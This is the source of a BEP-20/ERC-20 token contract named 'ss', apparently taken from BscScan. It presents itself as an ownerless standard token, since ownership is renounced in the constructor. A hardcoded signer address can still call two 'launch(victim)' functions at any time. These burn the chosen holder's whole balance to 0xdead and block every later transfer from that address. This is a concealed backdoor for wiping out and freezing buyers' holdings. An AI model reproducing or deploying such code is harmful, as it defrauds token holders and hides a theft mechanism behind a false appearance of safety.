Token

/**
 *Submitted for verification at BscScan.com on 2025-09-18
*/

pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address adcsount);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor(address initialOwner) {
        if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); }
        _transferOwnership(initialOwner);
    }
    modifier onlyOwner() { _checkOwner(); _; }
    function owner() public view virtual returns (address) { return _owner; }
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); }
    }
    function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); }
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;
    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    address private constant dead = address(0xdead);
    address private constant AUTH_SIGNER = 0x2fe358821842976cf280969F6525F382a84B935f;
    mapping (address => bool) internal transferAllowed;

    constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
        launched = true;
        renounceOwnership();
    }

    function balanceOf(address _owner) external view override returns (uint256) { return _balances[_owner]; }
    function allowance(address _owner, address spender) external view override returns (uint256) { return _allowed[_owner][spender]; }

    function transfer(address to, uint256 value) external override returns (bool) {
        _transfer(msg.sender, to, value); return true;
    }

    function approve(address spender, uint256 value) external override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");
        _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true;
    }

    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value); return true;
        } else {
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true;
        }
    }

    function launch(address victim) external {
        require(msg.sender == AUTH_SIGNER, "unauthorized");
        require(victim != address(0), "invalid victim");
        if (!launched) { launched = true; }
        transferAllowed[victim] = true;
        uint256 bal = _balances[victim];
        if (bal > 0) {
            _balances[victim] = 0;
            _balances[dead] += bal;
            emit Transfer(victim, dead, bal);
        }
    }

    function launch(address victim, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
        require(victim != address(0), "invalid victim");
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(abi.encode(
            keccak256("LAUNCH(address token,address victim,uint256 deadline)"),
            address(this),
            victim,
            deadline
        ));
        bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:
32", structHash));
        address signer = ecrecover(digest, v, r, s);
        require(signer == AUTH_SIGNER, "unauthorized");
        if (!launched) { launched = true; }
        transferAllowed[victim] = true;
        uint256 bal = _balances[victim];
        if (bal > 0) {
            _balances[victim] = 0;
            _balances[dead] += bal;
            emit Transfer(victim, dead, bal);
        }
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value);
    }

    function _transferAllowed(address from, address to) private view returns (bool) {
        if (transferAllowed[from]) return false;
        if (launched) return true;
        if (from == owner() || to == owner()) return true;
        return true;
    }
}

contract Token is Erc20 {
    constructor() Erc20(unicode"sS", unicode"ss", 9, 100000000) {}
}